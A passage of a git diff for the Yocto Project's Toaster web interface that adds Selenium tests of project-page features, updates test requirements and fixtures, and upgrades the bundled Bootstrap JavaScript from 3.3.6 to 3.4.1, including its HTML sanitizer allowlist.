+ # check change notificaiton is displayed
+ change_notification = self.find('#change-notification')
+ self.assertTrue(
+ f'You have changed the {item_name} to: {new_item_name}' in change_notification.text
+ )
+
+ # Machine
+ check_machine_distro(self, 'machine', 'qemux86-64', machine)
+ # Distro
+ check_machine_distro(self, 'distro', 'poky-altcfg', distro)
+
+ # Project release
+ title = project_release.find_element(By.TAG_NAME, 'h3')
+ self.assertTrue("Project release" in title.text)
+ self.assertTrue(
+ "Yocto Project master" in self.find('#project-release-title').text
+ )
+
+ # Layers
+ title = layers.find_element(By.TAG_NAME, 'h3')
+ self.assertTrue("Layers" in title.text)
+ # check at least three layers are displayed
+ # openembedded-core
+ # meta-poky
+ # meta-yocto-bsp
+ layers_list = layers.find_element(By.ID, 'layers-in-project-list')
+ layers_list_items = layers_list.find_elements(By.TAG_NAME, 'li')
+ self.assertTrue(len(layers_list_items) == 3)
+ # check can add a layer if exists
+ add_layer_input = layers.find_element(By.ID, 'layer-add-input')
+ add_layer_input.send_keys('meta-oe')
+ self.wait_until_visible('#layer-container > form > div > span > div')
+ dropdown_item = self.driver.find_element(
+ By.XPATH,
+ '//*[@id="layer-container"]/form/div/span/div'
+ )
+ dropdown_item.click()
+ add_layer_btn = layers.find_element(By.ID, 'add-layer-btn')
+ add_layer_btn.click()
+ sleep(1)
+ # check layer is added
+ layers_list_items = layers_list.find_elements(By.TAG_NAME, 'li')
+ self.assertTrue(len(layers_list_items) == 4)
+
+ # Most built recipes
+ title = most_built_recipes.find_element(By.TAG_NAME, 'h3')
+ self.assertTrue("Most built recipes" in title.text)
+ # Create a new builds 5
+ self._create_builds()
+
+ # Refresh the page
+ self.get(url)
+
+ sleep(1) # wait for page to load
+ self.wait_until_visible('#project-page')
+ # check can select a recipe and build it
+ most_built_recipes = self.driver.find_element(
+ By.XPATH, '//*[@id="project-page"]/div[1]/div[3]')
+ recipe_list = most_built_recipes.find_element(By.ID, 'freq-build-list')
+ recipe_list_items = recipe_list.find_elements(By.TAG_NAME, 'li')
+ self.assertTrue(
+ len(recipe_list_items) > 0,
+ msg="No recipes found in the most built recipes list",
+ )
+ checkbox = recipe_list_items[0].find_element(By.TAG_NAME, 'input')
+ checkbox.click()
+ build_btn = self.find('#freq-build-btn')
+ build_btn.click()
+ sleep(1) # wait for page to load
+ self.wait_until_visible('#latest-builds')
+ self._wait_until_build('parsing starting cloning queueing')
+ lastest_builds = self.driver.find_elements(
+ By.XPATH,
+ '//div[@id="latest-builds"]/div'
+ )
+ last_build = lastest_builds[0]
+ cancel_button = last_build.find_element(
+ By.XPATH,
+ '//span[@class="cancel-build-btn pull-right alert-link"]',
+ )
+ cancel_button.click()
+ self.assertTrue(len(lastest_builds) == 2)
+
+ def test_project_page_tab_importlayer(self):
+ """ Test project page tab import layer """
+ # navigate to the project page
+ url = reverse("project", args=(1,))
+ self.get(url)
+
+ # navigate to "Import layers" tab
+ import_layers_tab = self._get_tabs()[2]
+ import_layers_tab.find_element(By.TAG_NAME, 'a').click()
+ self.wait_until_visible('#layer-git-repo-url')
+
+ # Check git repo radio button
+ git_repo_radio = self.find('#git-repo-radio')
+ git_repo_radio.click()
+
+ # Set git repo url
+ input_repo_url = self.find('#layer-git-repo-url')
+ input_repo_url.send_keys('git://git.yoctoproject.org/meta-fake')
+ # Blur the input to trigger the validation
+ input_repo_url.send_keys(Keys.TAB)
+
+ # Check name is set
+ input_layer_name = self.find('#import-layer-name')
+ self.assertTrue(input_layer_name.get_attribute('value') == 'meta-fake')
+
+ # Set branch
+ input_branch = self.find('#layer-git-ref')
+ input_branch.send_keys('master')
+
+ # Import layer
+ self.find('#import-and-add-btn').click()
+
+ # Check layer is added
+ self.wait_until_visible('#layer-container')
+ block_l = self.driver.find_element(
+ By.XPATH, '//*[@id="project-page"]/div[2]')
+ layers = block_l.find_element(By.ID, 'layer-container')
+ layers_list = layers.find_element(By.ID, 'layers-in-project-list')
+ layers_list_items = layers_list.find_elements(By.TAG_NAME, 'li')
+ self.assertTrue(
+ 'meta-fake' in str(layers_list_items[-1].text)
+ )
+
+ def test_project_page_custom_image_no_image(self):
+ """ Test project page tab "New custom image" when no custom image """
+ # navigate to the project page
+ url = reverse("project", args=(1,))
+ self.get(url)
+
+ # navigate to "Custom image" tab
+ custom_image_section = self._get_config_nav_item(2)
+ custom_image_section.click()
+ self.wait_until_visible('#empty-state-customimagestable')
+
+ # Check message when no custom image
+ self.assertTrue(
+ "You have not created any custom images yet." in str(
+ self.find('#empty-state-customimagestable').text
+ )
+ )
+ div_empty_msg = self.find('#empty-state-customimagestable')
+ link_create_custom_image = div_empty_msg.find_element(
+ By.TAG_NAME, 'a')
+ self.assertTrue(
+ f"/toastergui/project/1/newcustomimage" in str(
+ link_create_custom_image.get_attribute('href')
+ )
+ )
+ self.assertTrue(
+ "Create your first custom image" in str(
+ link_create_custom_image.text
+ )
+ )
+
+ def test_project_page_image_recipe(self):
+ """ Test project page section images
+ - Check image recipes are displayed
+ - Check search input
+ - Check image recipe build button works
+ - Check image recipe table features(show/hide column, pagination)
+ """
+ # navigate to the project page
+ url = reverse("project", args=(1,))
+ self.get(url)
+ self.wait_until_visible('#config-nav')
+
+ # navigate to "Images section"
+ images_section = self._get_config_nav_item(3)
+ images_section.click()
+ self.wait_until_visible('#imagerecipestable')
+ rows = self.find_all('#imagerecipestable tbody tr')
+ self.assertTrue(len(rows) > 0)
+
+ # Test search input
+ self.wait_until_visible('#search-input-imagerecipestable')
+ recipe_input = self.find('#search-input-imagerecipestable')
+ recipe_input.send_keys('core-image-minimal')
+ self.find('#search-submit-imagerecipestable').click()
+ self.wait_until_visible('#imagerecipestable tbody tr')
+ rows = self.find_all('#imagerecipestable tbody tr')
+ self.assertTrue(len(rows) > 0)
+
+ # Test build button
+ image_to_build = rows[0]
+ build_btn = image_to_build.find_element(
+ By.XPATH,
+ '//td[@class="add-del-layers"]'
+ )
+ build_btn.click()
+ self._wait_until_build('parsing starting cloning')
+ lastest_builds = self.driver.find_elements(
+ By.XPATH,
+ '//div[@id="latest-builds"]/div'
+ )
+ self.assertTrue(len(lastest_builds) > 0)
+
+ def test_image_recipe_editColumn(self):
+ """ Test the edit column feature in image recipe table on project page """
+ self._get_create_builds(success=10, failure=10)
+
+ def test_edit_column(check_box_id):
+ # Check that we can hide/show table column
+ check_box = self.find(f'#{check_box_id}')
+ th_class = str(check_box_id).replace('checkbox-', '')
+ if check_box.is_selected():
+ # check if column is visible in table
+ self.assertTrue(
+ self.find(
+ f'#imagerecipestable thead th.{th_class}'
+ ).is_displayed(),
+ f"The {th_class} column is checked in EditColumn dropdown, but it's not visible in table"
+ )
+ check_box.click()
+ # check if column is hidden in table
+ self.assertFalse(
+ self.find(
+ f'#imagerecipestable thead th.{th_class}'
+ ).is_displayed(),
+ f"The {th_class} column is unchecked in EditColumn dropdown, but it's visible in table"
+ )
+ else:
+ # check if column is hidden in table
+ self.assertFalse(
+ self.find(
+ f'#imagerecipestable thead th.{th_class}'
+ ).is_displayed(),
+ f"The {th_class} column is unchecked in EditColumn dropdown, but it's visible in table"
+ )
+ check_box.click()
+ # check if column is visible in table
+ self.assertTrue(
+ self.find(
+ f'#imagerecipestable thead th.{th_class}'
+ ).is_displayed(),
+ f"The {th_class} column is checked in EditColumn dropdown, but it's not visible in table"
+ )
+
+ url = reverse('projectimagerecipes', args=(1,))
+ self.get(url)
+ self.wait_until_present('#imagerecipestable tbody tr')
+
+ # Check edit column
+ edit_column = self.find('#edit-columns-button')
+ self.assertTrue(edit_column.is_displayed())
+ edit_column.click()
+ # Check dropdown is visible
+ self.wait_until_visible('ul.dropdown-menu.editcol')
+
+ # Check that we can hide the edit column
+ test_edit_column('checkbox-get_description_or_summary')
+ test_edit_column('checkbox-layer_version__get_vcs_reference')
+ test_edit_column('checkbox-layer_version__layer__name')
+ test_edit_column('checkbox-license')
+ test_edit_column('checkbox-recipe-file')
+ test_edit_column('checkbox-section')
+ test_edit_column('checkbox-version')
+
+ def test_image_recipe_show_rows(self):
+ """ Test the show rows feature in image recipe table on project page """
+ self._get_create_builds(success=100, failure=100)
+
+ def test_show_rows(row_to_show, show_row_link):
+ # Check that we can show rows == row_to_show
+ show_row_link.select_by_value(str(row_to_show))
+ self.wait_until_present('#imagerecipestable tbody tr')
+ sleep(1)
+ self.assertTrue(
+ len(self.find_all('#imagerecipestable tbody tr')) == row_to_show
+ )
+
+ url = reverse('projectimagerecipes', args=(2,))
+ self.get(url)
+ self.wait_until_present('#imagerecipestable tbody tr')
+
+ show_rows = self.driver.find_elements(
+ By.XPATH,
+ '//select[@class="form-control pagesize-imagerecipestable"]'
+ )
+ # Check show rows
+ for show_row_link in show_rows:
+ show_row_link = Select(show_row_link)
+ test_show_rows(10, show_row_link)
+ test_show_rows(25, show_row_link)
+ test_show_rows(50, show_row_link)
+ test_show_rows(100, show_row_link)
+ test_show_rows(150, show_row_link)
diff --git a/poky/bitbake/lib/toaster/tests/toaster-tests-requirements.txt b/poky/bitbake/lib/toaster/tests/toaster-tests-requirements.txt
index f30ac0706c..71cc083436 100644
--- a/poky/bitbake/lib/toaster/tests/toaster-tests-requirements.txt
+++ b/poky/bitbake/lib/toaster/tests/toaster-tests-requirements.txt
@@ -1 +1,7 @@
selenium>=4.13.0
+pytest==7.4.2
+pytest-django==4.5.2
+pytest-env==1.1.0
+pytest-html==4.0.2
+pytest-metadata==3.0.0
+pytest-order==1.1.0
diff --git a/poky/bitbake/lib/toaster/tests/views/test_views.py b/poky/bitbake/lib/toaster/tests/views/test_views.py
index f962e76287..349881ebf6 100644
--- a/poky/bitbake/lib/toaster/tests/views/test_views.py
+++ b/poky/bitbake/lib/toaster/tests/views/test_views.py
@@ -9,6 +9,7 @@
"""Test cases for Toaster GUI and ReST."""
+import pytest
from django.test import TestCase
from django.test.client import RequestFactory
from django.urls import reverse
@@ -33,6 +34,7 @@ PROJECT_NAME2 = "test project 2"
CLI_BUILDS_PROJECT_NAME = 'Command line builds'
+@pytest.mark.order(1)
class ViewTests(TestCase):
"""Tests to verify view APIs."""
@@ -41,7 +43,15 @@ class ViewTests(TestCase):
def setUp(self):
self.project = Project.objects.first()
+
self.recipe1 = Recipe.objects.get(pk=2)
+ # create a file and to recipe1 file_path
+ file_path = f"/tmp/{self.recipe1.name.strip().replace(' ', '-')}.bb"
+ with open(file_path, 'w') as f:
+ f.write('foo')
+ self.recipe1.file_path = file_path
+ self.recipe1.save()
+
self.customr = CustomImageRecipe.objects.first()
self.cust_package = CustomImagePackage.objects.first()
self.package = Package.objects.first()
diff --git a/poky/bitbake/lib/toaster/toastergui/fixtures/toastergui-unittest-data.xml b/poky/bitbake/lib/toaster/toastergui/fixtures/toastergui-unittest-data.xml
index 4517ed1765..df106934b2 100644
--- a/poky/bitbake/lib/toaster/toastergui/fixtures/toastergui-unittest-data.xml
+++ b/poky/bitbake/lib/toaster/toastergui/fixtures/toastergui-unittest-data.xml
@@ -6,10 +6,22 @@
<field type="CharField" name="dirpath">b</field>
<field type="CharField" name="branch">a</field>
</object>
+ <object pk="1" model="orm.distro">
+ <field type="DateTimeField" name="up_date"><None></None></field>
+ <field to="orm.layer_version" name="layer_version" rel="ManyToOneRel">1</field>
+ <field type="CharField" name="name">poky_distro1</field>
+ <field type="CharField" name="description">poky_distro1 description</field>
+ </object>
+ <object pk="2" model="orm.distro">
+ <field type="DateTimeField" name="up_date"><None></None></field>
+ <field to="orm.layer_version" name="layer_version" rel="ManyToOneRel">2</field>
+ <field type="CharField" name="name">poky_distro2</field>
+ <field type="CharField" name="description">poky_distro2 description</field>
+ </object>
<object pk="1" model="orm.release">
- <field type="CharField" name="name">master</field>
+ <field type="CharField" name="name">foo_master</field>
<field type="CharField" name="description">master project</field>
- <field to="orm.bitbake_version" name="bitbake_version">1</field>
+ <field to="orm.bitbakeversion" name="bitbake_version">1</field>
</object>
<object pk="1" model="orm.project">
<field type="CharField" name="name">a test project</field>
diff --git a/poky/bitbake/lib/toaster/toastergui/static/js/bootstrap.js b/poky/bitbake/lib/toaster/toastergui/static/js/bootstrap-3.4.1.js
index d47d640feb..170bd608f7 100644
--- a/poky/bitbake/lib/toaster/toastergui/static/js/bootstrap.js
+++ b/poky/bitbake/lib/toaster/toastergui/static/js/bootstrap-3.4.1.js
@@ -1,6 +1,6 @@
/*!
- * Bootstrap v3.3.6 (http://getbootstrap.com)
- * Copyright 2011-2016 Twitter, Inc.
+ * Bootstrap v3.4.1 (https://getbootstrap.com/)
+ * Copyright 2011-2019 Twitter, Inc.
* Licensed under the MIT license
*/
@@ -11,16 +11,16 @@ if (typeof jQuery === 'undefined') {
+function ($) {
'use strict';
var version = $.fn.jquery.split(' ')[0].split('.')
- if ((version[0] < 2 && version[1] < 9) || (version[0] == 1 && version[1] == 9 && version[2] < 1) || (version[0] > 2)) {
- throw new Error('Bootstrap\'s JavaScript requires jQuery version 1.9.1 or higher, but lower than version 3')
+ if ((version[0] < 2 && version[1] < 9) || (version[0] == 1 && version[1] == 9 && version[2] < 1) || (version[0] > 3)) {
+ throw new Error('Bootstrap\'s JavaScript requires jQuery version 1.9.1 or higher, but lower than version 4')
}
}(jQuery);
/* ========================================================================
- * Bootstrap: transition.js v3.3.6
- * http://getbootstrap.com/javascript/#transitions
+ * Bootstrap: transition.js v3.4.1
+ * https://getbootstrap.com/docs/3.4/javascript/#transitions
* ========================================================================
- * Copyright 2011-2015 Twitter, Inc.
+ * Copyright 2011-2019 Twitter, Inc.
* Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)
* ======================================================================== */
@@ -28,7 +28,7 @@ if (typeof jQuery === 'undefined') {
+function ($) {
'use strict';
- // CSS TRANSITION SUPPORT (Shoutout: http://www.modernizr.com/)
+ // CSS TRANSITION SUPPORT (Shoutout: https://modernizr.com/)
// ============================================================
function transitionEnd() {
@@ -50,7 +50,7 @@ if (typeof jQuery === 'undefined') {
return false // explicit for ie8 ( ._.)
}
- // http://blog.alexmaccaw.com/css-transitions
+ // https://blog.alexmaccaw.com/css-transitions
$.fn.emulateTransitionEnd = function (duration) {
var called = false
var $el = this
@@ -77,10 +77,10 @@ if (typeof jQuery === 'undefined') {
}(jQuery);
/* ========================================================================
- * Bootstrap: alert.js v3.3.6
- * http://getbootstrap.com/javascript/#alerts
+ * Bootstrap: alert.js v3.4.1
+ * https://getbootstrap.com/docs/3.4/javascript/#alerts
* ========================================================================
- * Copyright 2011-2015 Twitter, Inc.
+ * Copyright 2011-2019 Twitter, Inc.
* Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)
* ======================================================================== */
@@ -96,7 +96,7 @@ if (typeof jQuery === 'undefined') {
$(el).on('click', dismiss, this.close)
}
- Alert.VERSION = '3.3.6'
+ Alert.VERSION = '3.4.1'
Alert.TRANSITION_DURATION = 150
@@ -109,7 +109,8 @@ if (typeof jQuery === 'undefined') {
selector = selector && selector.replace(/.*(?=#[^\s]*$)/, '') // strip for ie7
}
- var $parent = $(selector)
+ selector = selector === '#' ? [] : selector
+ var $parent = $(document).find(selector)
if (e) e.preventDefault()
@@ -172,10 +173,10 @@ if (typeof jQuery === 'undefined') {
}(jQuery);
/* ========================================================================
- * Bootstrap: button.js v3.3.6
- * http://getbootstrap.com/javascript/#buttons
+ * Bootstrap: button.js v3.4.1
+ * https://getbootstrap.com/docs/3.4/javascript/#buttons
* ========================================================================
- * Copyright 2011-2015 Twitter, Inc.
+ * Copyright 2011-2019 Twitter, Inc.
* Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)
* ======================================================================== */
@@ -192,7 +193,7 @@ if (typeof jQuery === 'undefined') {
this.isLoading = false
}
- Button.VERSION = '3.3.6'
+ Button.VERSION = '3.4.1'
Button.DEFAULTS = {
loadingText: 'loading...'
@@ -214,10 +215,10 @@ if (typeof jQuery === 'undefined') {
if (state == 'loadingText') {
this.isLoading = true
- $el.addClass(d).attr(d, d)
+ $el.addClass(d).attr(d, d).prop(d, true)
} else if (this.isLoading) {
this.isLoading = false
- $el.removeClass(d).removeAttr(d)
+ $el.removeClass(d).removeAttr(d).prop(d, false)
}
}, this), 0)
}
@@ -281,10 +282,15 @@ if (typeof jQuery === 'undefined') {
$(document)
.on('click.bs.button.data-api', '[data-toggle^="button"]', function (e) {
- var $btn = $(e.target)
- if (!$btn.hasClass('btn')) $btn = $btn.closest('.btn')
+ var $btn = $(e.target).closest('.btn')
Plugin.call($btn, 'toggle')
- if (!($(e.target).is('input[type="radio"]') || $(e.target).is('input[type="checkbox"]'))) e.preventDefault()
+ if (!($(e.target).is('input[type="radio"], input[type="checkbox"]'))) {
+ // Prevent double click on radios, and the double selections (so cancellation) on checkboxes
+ e.preventDefault()
+ // The target component still receive the focus
+ if ($btn.is('input,button')) $btn.trigger('focus')
+ else $btn.find('input:visible,button:visible').first().trigger('focus')
+ }
})
.on('focus.bs.button.data-api blur.bs.button.data-api', '[data-toggle^="button"]', function (e) {
$(e.target).closest('.btn').toggleClass('focus', /^focus(in)?$/.test(e.type))
@@ -293,10 +299,10 @@ if (typeof jQuery === 'undefined') {
}(jQuery);
/* ========================================================================
- * Bootstrap: carousel.js v3.3.6
- * http://getbootstrap.com/javascript/#carousel
+ * Bootstrap: carousel.js v3.4.1
+ * https://getbootstrap.com/docs/3.4/javascript/#carousel
* ========================================================================
- * Copyright 2011-2015 Twitter, Inc.
+ * Copyright 2011-2019 Twitter, Inc.
* Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)
* ======================================================================== */
@@ -324,7 +330,7 @@ if (typeof jQuery === 'undefined') {
.on('mouseleave.bs.carousel', $.proxy(this.cycle, this))
}
- Carousel.VERSION = '3.3.6'
+ Carousel.VERSION = '3.4.1'
Carousel.TRANSITION_DURATION = 600
@@ -438,7 +444,9 @@ if (typeof jQuery === 'undefined') {
var slidEvent = $.Event('slid.bs.carousel', { relatedTarget: relatedTarget, direction: direction }) // yes, "slid"
if ($.support.transition && this.$element.hasClass('slide')) {
$next.addClass(type)
- $next[0].offsetWidth // force reflow
+ if (typeof $next === 'object' && $next.length) {
+ $next[0].offsetWidth // force reflow
+ }
$active.addClass(direction)
$next.addClass(direction)
$active
@@ -500,10 +508,17 @@ if (typeof jQuery === 'undefined') {
// =================
var clickHandler = function (e) {
- var href
var $this = $(this)
- var $target = $($this.attr('data-target') || (href = $this.attr('href')) && href.replace(/.*(?=#[^\s]+$)/, '')) // strip for ie7
+ var href = $this.attr('href')
+ if (href) {
+ href = href.replace(/.*(?=#[^\s]+$)/, '') // strip for ie7
+ }
+
+ var target = $this.attr('data-target') || href
+ var $target = $(document).find(target)
+
if (!$target.hasClass('carousel')) return
+
var options = $.extend({}, $target.data(), $this.data())
var slideIndex = $this.attr('data-slide-to')
if (slideIndex) options.interval = false
@@ -531,13 +546,14 @@ if (typeof jQuery === 'undefined') {
}(jQuery);
/* ========================================================================
- * Bootstrap: collapse.js v3.3.6
- * http://getbootstrap.com/javascript/#collapse
+ * Bootstrap: collapse.js v3.4.1
+ * https://getbootstrap.com/docs/3.4/javascript/#collapse
* ========================================================================
- * Copyright 2011-2015 Twitter, Inc.
+ * Copyright 2011-2019 Twitter, Inc.
* Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)
* ======================================================================== */
+/* jshint latedef: false */
+function ($) {
'use strict';
@@ -561,7 +577,7 @@ if (typeof jQuery === 'undefined') {
if (this.options.toggle) this.toggle()
}
- Collapse.VERSION = '3.3.6'
+ Collapse.VERSION = '3.4.1'
Collapse.TRANSITION_DURATION = 350
@@ -668,7 +684,7 @@ if (typeof jQuery === 'undefined') {
}
Collapse.prototype.getParent = function () {
- return $(this.options.parent)
+ return $(document).find(this.options.parent)
.find('[data-toggle="collapse"][data-parent="' + this.options.parent + '"]')
.each($.proxy(function (i, element) {
var $element = $(element)
@@ -691,7 +707,7 @@ if (typeof jQuery === 'undefined') {
var target = $trigger.attr('data-target')
|| (href = $trigger.attr('href')) && href.replace(/.*(?=#[^\s]+$)/, '') // strip for ie7
- return $(target)
+ return $(document).find(target)
}
@@ -743,10 +759,10 @@ if (typeof jQuery === 'undefined') {
}(jQuery);
/* ========================================================================
- * Bootstrap: dropdown.js v3.3.6
- * http://getbootstrap.com/javascript/#dropdowns
+ * Bootstrap: dropdown.js v3.4.1
+ * https://getbootstrap.com/docs/3.4/javascript/#dropdowns
* ========================================================================
- * Copyright 2011-2015 Twitter, Inc.
+ * Copyright 2011-2019 Twitter, Inc.
* Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)
* ======================================================================== */
@@ -763,7 +779,7 @@ if (typeof jQuery === 'undefined') {
$(element).on('click.bs.dropdown', this.toggle)
}
- Dropdown.VERSION = '3.3.6'
+ Dropdown.VERSION = '3.4.1'
function getParent($this) {
var selector = $this.attr('data-target')
@@ -773,7 +789,7 @@ if (typeof jQuery === 'undefined') {
selector = selector && /#[A-Za-z]/.test(selector) && selector.replace(/.*(?=#[^\s]*$)/, '') // strip for ie7
}
- var $parent = selector && $(selector)
+ var $parent = selector !== '#' ? $(document).find(selector) : null
return $parent && $parent.length ? $parent : $this.parent()
}
@@ -909,10 +925,10 @@ if (typeof jQuery === 'undefined') {
}(jQuery);
/* ========================================================================
- * Bootstrap: modal.js v3.3.6
- * http://getbootstrap.com/javascript/#modals
+ * Bootstrap: modal.js v3.4.1
+ * https://getbootstrap.com/docs/3.4/javascript/#modals
* ========================================================================
- * Copyright 2011-2015 Twitter, Inc.
+ * Copyright 2011-2019 Twitter, Inc.
* Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)
* ======================================================================== */
@@ -924,15 +940,16 @@ if (typeof jQuery === 'undefined') {
// ======================
var Modal = function (element, options) {
- this.options = options
- this.$body = $(document.body)
- this.$element = $(element)
- this.$dialog = this.$element.find('.modal-dialog')
- this.$backdrop = null
- this.isShown = null
- this.originalBodyPad = null
- this.scrollbarWidth = 0
+ this.options = options
+ this.$body = $(document.body)
+ this.$element = $(element)
+ this.$dialog = this.$element.find('.modal-dialog')
+ this.$backdrop = null
+ this.isShown = null
+ this.originalBodyPad = null
+ this.scrollbarWidth = 0
this.ignoreBackdropClick = false
+ this.fixedContent = '.navbar-fixed-top, .navbar-fixed-bottom'
if (this.options.remote) {
this.$element
@@ -943,7 +960,7 @@ if (typeof jQuery === 'undefined') {
}
}
- Modal.VERSION = '3.3.6'
+ Modal.VERSION = '3.4.1'
Modal.TRANSITION_DURATION = 300
Modal.BACKDROP_TRANSITION_DURATION = 150
@@ -960,7 +977,7 @@ if (typeof jQuery === 'undefined') {
Modal.prototype.show = function (_relatedTarget) {
var that = this
- var e = $.Event('show.bs.modal', { relatedTarget: _relatedTarget })
+ var e = $.Event('show.bs.modal', { relatedTarget: _relatedTarget })
this.$element.trigger(e)
@@ -1050,7 +1067,9 @@ if (typeof jQuery === 'undefined') {
$(document)
.off('focusin.bs.modal') // guard against infinite focus loop
.on('focusin.bs.modal', $.proxy(function (e) {
- if (this.$element[0] !== e.target && !this.$element.has(e.target).length) {
+ if (document !== e.target &&
+ this.$element[0] !== e.target &&
+ !this.$element.has(e.target).length) {
this.$element.trigger('focus')
}
}, this))
@@ -1152,7 +1171,7 @@ if (typeof jQuery === 'undefined') {
var modalIsOverflowing = this.$element[0].scrollHeight > document.documentElement.clientHeight
this.$element.css({
- paddingLeft: !this.bodyIsOverflowing && modalIsOverflowing ? this.scrollbarWidth : '',
+ paddingLeft: !this.bodyIsOverflowing && modalIsOverflowing ? this.scrollbarWidth : '',
paddingRight: this.bodyIsOverflowing && !modalIsOverflowing ? this.scrollbarWidth : ''
})
}
@@ -1177,11 +1196,26 @@ if (typeof jQuery === 'undefined') {
Modal.prototype.setScrollbar = function () {
var bodyPad = parseInt((this.$body.css('padding-right') || 0), 10)
this.originalBodyPad = document.body.style.paddingRight || ''
- if (this.bodyIsOverflowing) this.$body.css('padding-right', bodyPad + this.scrollbarWidth)
+ var scrollbarWidth = this.scrollbarWidth
+ if (this.bodyIsOverflowing) {
+ this.$body.css('padding-right', bodyPad + scrollbarWidth)
+ $(this.fixedContent).each(function (index, element) {
+ var actualPadding = element.style.paddingRight
+ var calculatedPadding = $(element).css('padding-right')
+ $(element)
+ .data('padding-right', actualPadding)
+ .css('padding-right', parseFloat(calculatedPadding) + scrollbarWidth + 'px')
+ })
+ }
}
Modal.prototype.resetScrollbar = function () {
this.$body.css('padding-right', this.originalBodyPad)
+ $(this.fixedContent).each(function (index, element) {
+ var padding = $(element).data('padding-right')
+ $(element).removeData('padding-right')
+ element.style.paddingRight = padding ? padding : ''
+ })
}
Modal.prototype.measureScrollbar = function () { // thx walsh
@@ -1199,8 +1233,8 @@ if (typeof jQuery === 'undefined') {
function Plugin(option, _relatedTarget) {
return this.each(function () {
- var $this = $(this)
- var data = $this.data('bs.modal')
+ var $this = $(this)
+ var data = $this.data('bs.modal')
var options = $.extend({}, Modal.DEFAULTS, $this.data(), typeof option == 'object' && option)
if (!data) $this.data('bs.modal', (data = new Modal(this, options)))
@@ -1211,7 +1245,7 @@ if (typeof jQuery === 'undefined') {
var old = $.fn.modal
- $.fn.modal = Plugin
+ $.fn.modal = Plugin
$.fn.modal.Constructor = Modal
@@ -1228,10 +1262,13 @@ if (typeof jQuery === 'undefined') {
// ==============
$(document).on('click.bs.modal.data-api', '[data-toggle="modal"]', function (e) {
- var $this = $(this)
- var href = $this.attr('href')
- var $target = $($this.attr('data-target') || (href && href.replace(/.*(?=#[^\s]+$)/, ''))) // strip for ie7
- var option = $target.data('bs.modal') ? 'toggle' : $.extend({ remote: !/#/.test(href) && href }, $target.data(), $this.data())
+ var $this = $(this)
+ var href = $this.attr('href')
+ var target = $this.attr('data-target') ||
+ (href && href.replace(/.*(?=#[^\s]+$)/, '')) // strip for ie7
+
+ var $target = $(document).find(target)
+ var option = $target.data('bs.modal') ? 'toggle' : $.extend({ remote: !/#/.test(href) && href }, $target.data(), $this.data())
if ($this.is('a')) e.preventDefault()
@@ -1247,18 +1284,148 @@ if (typeof jQuery === 'undefined') {
}(jQuery);
/* ========================================================================
- * Bootstrap: tooltip.js v3.3.6
- * http://getbootstrap.com/javascript/#tooltip
+ * Bootstrap: tooltip.js v3.4.1
+ * https://getbootstrap.com/docs/3.4/javascript/#tooltip
* Inspired by the original jQuery.tipsy by Jason Frame
* ========================================================================
- * Copyright 2011-2015 Twitter, Inc.
+ * Copyright 2011-2019 Twitter, Inc.
* Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)
* ======================================================================== */
-
+function ($) {
'use strict';
+ var DISALLOWED_ATTRIBUTES = ['sanitize', 'whiteList', 'sanitizeFn']
+
+ var uriAttrs = [
+ 'background',
+ 'cite',
+ 'href',
+ 'itemtype',
+ 'longdesc',
+ 'poster',
+ 'src',
+ 'xlink:href'
+ ]
+
+ var ARIA_ATTRIBUTE_PATTERN = /^aria-[\w-]*$/i
+
+ var DefaultWhitelist = {
+ // Global attributes allowed on any supplied element below.
+ '*': ['class', 'dir', 'id', 'lang', 'role', ARIA_ATTRIBUTE_PATTERN],
+ a: ['target', 'href', 'title', 'rel'],
+ area: [],
+ b: [],
+ br: [],
+ col: [],
+ code: [],
+ div: [],
+ em: [],
+ hr: [],
+ h1: [],
+ h2: [],
+ h3: [],
+ h4: [],
+ h5: [],
+ h6: [],
+ i: [],
+ img: ['src', 'alt', 'title', 'width', 'height'],
+ li: [],
+ ol: [],
+ p: [],
+ pre: [],
+ s: [],
+ small: [],
+ span: [],
+ sub: [],
+ sup: [],
+ strong: [],
+ u: [],
+ ul: []
+ }
+
+ /**
+ * A pattern that recognizes a commonly useful subset of URLs that are safe.
+ *
+ * Shoutout to Angular 7 https://github.com/angular/angular/blob/7.2.4/packages/core/src/sanitization/url_sanitizer.ts
+ */
+ var SAFE_URL_PATTERN = /^(?:(?:https?|mailto|ftp|tel|file):|[^&:/?#]*(?:[/?#]|$))/gi
+
+ /**
+ * A pattern that matches safe data URLs. Only matches image, video and audio types.
+ *
+ * Shoutout to Angular 7 https://github.com/angular/angular/blob/7.2.4/packages/core/src/sanitization/url_sanitizer.ts
+ */
+ var DATA_URL_PATTERN = /^data:(?:image\/(?:bmp|gif|jpeg|jpg|png|tiff|webp)|video\/(?:mpeg|mp4|ogg|webm)|audio\/(?:mp3|oga|ogg|opus));base64,[a-z0-9+/]+=*$/i
+
+ function allowedAttribute(attr, allowedAttributeList) {
+ var attrName = attr.nodeName.toLowerCase()
+
+ if ($.inArray(attrName, allowedAttributeList) !== -1) {
+ if ($.inArray(attrName, uriAttrs) !== -1) {
+ return Boolean(attr.nodeValue.match(SAFE_URL_PATTERN) || attr.nodeValue.match(DATA_URL_PATTERN))
+ }
+
+ return true
+ }
+
+ var regExp = $(allowedAttributeList).filter(function (index, value) {
+ return value instanceof RegExp
+ })
+
+ // Check if a regular expression validates the attribute.
+ for (var i = 0, l = regExp.length; i < l; i++) {
+ if (attrName.match(regExp[i])) {
+ return true
+ }
+ }
+
+ return false
+ }
+
+ function sanitizeHtml(unsafeHtml, whiteList, sanitizeFn) {
+ if (unsafeHtml.length === 0) {
+ return unsafeHtml
+ }
+
+ if (sanitizeFn && typeof sanitizeFn === 'function') {
+ return sanitizeFn(unsafeHtml)
+ }
+
+ // IE 8 and below don't support createHTMLDocument
+ if (!document.implementation || !document.implementation.createHTMLDocument) {
+ return unsafeHtml
+ }
+
+ var createdDocument = document.implementation.createHTMLDocument('sanitization')
+ createdDocument.body.innerHTML = unsafeHtml
+
+ var whitelistKeys = $.map(whiteList, function (el, i) { return i })
+ var elements = $(createdDocument.body).find('*')
+
+ for (var i = 0, len = elements.length; i < len; i++) {
+ var el = elements[i]
+ var elName = el.nodeName.toLowerCase()
